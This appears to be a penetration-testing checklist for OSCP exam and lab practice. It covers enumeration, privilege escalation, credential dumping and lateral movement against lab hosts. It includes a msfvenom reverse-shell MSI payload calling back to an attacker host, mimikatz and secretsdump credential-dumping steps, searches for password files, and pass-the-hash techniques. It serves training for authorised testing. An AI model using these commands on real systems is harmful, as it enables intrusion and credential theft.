Credit: https://github.com/intotheewild/OSCP-Checklist https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html https://wadcoms.github.io/ https://book.hacktricks.xyz https://swisskyrepo.github.io/InternalAllTheThings/ https://www.netsecfocus.com/oscp/2021/05/06/The_Journey_to_Try_Harder-_TJnull-s_Preparation_Guide_for_PEN-200_PWK_OSCP_2.0.html
Note Structure Tips and Tricks Stuck? Reconnaissance Exploitation Privilege Escalation Post-Exploitation Lateral Movement
Practice
- OSCP Labs
- Proving Grounds Practice
- Proving Grounds Play
- Hack The Box
Note Structure
Kali Box
Obsidian (for box notes)
Tips and Tricks
Staging & payload transfer
Python3 HTTP server with file upload capabilities
Upgrading basic reverse shell to interactive shell
Tunneling via Ligolo-ng
No more proxychains! Take note of known caveats
Command logging
Log ran commands to aide in the report-writing.
Stuck?
- Start from the top of the checklist again. Enumerate the network to death.
- Found a service you’ve never used? Identify the version, find vulnerabilities, try default credentials
- Try
username:username
as credentials - Try dumb credentials (
admin:admin
,administrator:password
, etc) - Can’t crack a hash? Try adding rules like
best64
Reconnaissance
GOAL: Identify live hosts and enumerate services to identify attack surface
mkdir machine && cd $_
- We’re given the hosts, so no need to ping sweep or anything. Add to
hosts.txt
Enumeration
- Identify services via nmap:
nmap --min-rate 4500 --max-rtt-timeout 1500ms -sC -sV -Pn -O -p- -iL ../../hosts.txt -oA nmap_full
- Enumerate services via AutoRecon:
autorecon -t ../hosts.txt --nmap-append "--min-rate 4500 --max-rtt-timeout 1500ms" -vv
- Enumerate services via Incursore:
sudo incursore.sh -t all -H 192.168.1.1
AD Assume Breach
- Get access to the DC via tunneling (ie: ligolo)
- Add
domain.lab
to/etc/hosts
- Prep for BloodHound:
bloodhound-python -u 'username' -p 'password' -d domain.lab -dc domain.lab -ns DC-IP -c All --zip
- Dump domain LDAP:
ldapdomaindump -u 'username' -p 'password' -r -n DC-IP domain.lab
- List shares:
smbmap -u 'username' -p 'password' -H 192.168.1.1
- RID brute:
nxc smb 192.168.1.1 -u 'username' -p 'password' --rid-brute
Note Taking
Host | Hostname | OS | Port | Service | Notes |
---|---|---|---|---|---|
192.168.1.101 | DC | Windows Server 2012 | 22 | OpenSSH for_Windows_8.1 (protocol 2.0) | |
21 | vsftpd 2.0.8 or later | ||||
3389 | |||||
192.168.1.102 | Windows Server 2012 | 25 | |||
Exploitation
GOAL: Exploit identified services and gain initial foothold as low-privileged user
What to look for
- Look at service versions and try to identify public exploits (ie:
searchsploit
or “Apache 2.2.2.2 CVE”) - Look for web forms (file uploads, contact forms, etc.)
- Check if there’s any files that give contextual hints or point towards a vulnerable service running on an unknown port
FTP
- Check version for known vulnerabilities (authn bypass, RCE, etc.)
- Check for anonymous login
ftp 192.168.1.1
anonymous
anonymous
wget -m ftp://anonymous:[email protected]
HTTP
- Check version for known vulnerabilities (path traversal, RCE, etc.)
- Check what technology the website is running
whatweb http://192.168.1.1
- If running a CMS, test default and/or weak credentials
- Try to find hints at FQDN and put it in
/etc/hosts
- Try to find hints at users and/or passwords of the system(s)
- Run
CeWL
/CeWLeR
to get candidates to add topasswords.txt
- Run
- Fuzz harder
- Directory Enumeration:
feroxbuster -u http://192.168.1.1 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
- Subdomain Enumeration:
ffuf -H "Host: FUZZ.$DOMAIN" -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://192.168.1.1
- Directory Enumeration:
SNMP
- Enumerate community strings
sudo nmap -sU -p 161 --script snmp-brute 192.168.1.1
- Enumerate MIB
snmpbulkwalk -c public -v2c 192.168.1.1 . | tee out.snmp
grep -i password out.snmp
, etc.- Brute SNMP https://github.com/dheiland-r7/snmp
RDP
- Check version for known vulnerabilities
SMB
- Check version for known vulnerabilities
nmap --script smb-vuln* -p 139,445 192.168.1.1
- Check for anonymous login
smbmap -H 192.168.1.1
andsmbclient -L \\\\192.168.1.1
- Check for RPC
rpcclient -U "" -N 192.168.1.1
(HackTricks)
Privilege Escalation
GOAL: With initial foothold, let’s escalate from service→user→root
Windows
Quick Wins:
-
Check token privileges for SeImpersonatePrivilege
whoami /priv
- Use PrintSpoofer or GodPotato
-
Check AlwaysInstallElevated Registry
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
⇒0x1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_ip LPORT=LOCAL_PORT -f msi -o malicious.msi
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
-
Check for cached credentials
cmdkey /list
-
Check PowerShell history
Get-History
(Get-PSReadlineOption).HistorySavePath
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
-
Check running services for Unquoted or Non-default locations
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
-
Check for non-default binaries looking for .dll files (like log files too)
C:\TEMP\???
,C:\Users\user\???
,C:\backup\???
-
Check for useful files
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
-
Check for scheduled tasks run by higher level
schtasks /query /fo LIST /v
-
Check installed packages (maybe has vuln?)
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Linux
Quick Wins:
-
Sudo binaries via
sudo -l
and GTFOBins -
Vulnerable sudo versions via
sudo -V
-
SUID binaries
find / -perm -u=s -type f 2>/dev/null
and GTFOBins -
SGID binaries
find / -perm -g=s -type f 2>/dev/null
-
Check for vulnerable kernel versions
uname -a
-
Check for incorrect file permissions
- Writable
/etc/passwd
,/etc/shadow
, etc
- Writable
-
Check cronjobs for jobs we can abuse
ls -lah /etc/cron*
cat /var/log/syslog | grep cron
cat /var/log/cron.log
Post-Exploitation
GOAL: Gain more information to aide with lateral movement.
- Dump credentials (local creds, cached credentials, domain creds) using
impacket-secretsdump
,sekurlsa::logonpasswords
, andlsadump::sam
- Try to crack hashes with Crackstation & hashcat
- Example LM:
aad3b435b51404ee
- Example NT:
7d3f11711c610f013c06959a5e98f2fd
- Example MsCashv2:
$DCC2$10240#username#hash
- Unknown hash? Try HashID
hashid 7d3f11711c610f013c06959a5e98f2fd
- Example LM:
- Add cracked passwords to
passwords.txt
for further use in spraying & lateral movement - If you can’t crack a hash, utilize Pass-The-Hash Lateral Movement
Lateral Movement
GOAL: Try known credentials across other systems in the network.
- Password & hash spray via hydra or medusa
- Pivot via
smbexec
,psexec
,wmiexec
,evil-winrm
, etc.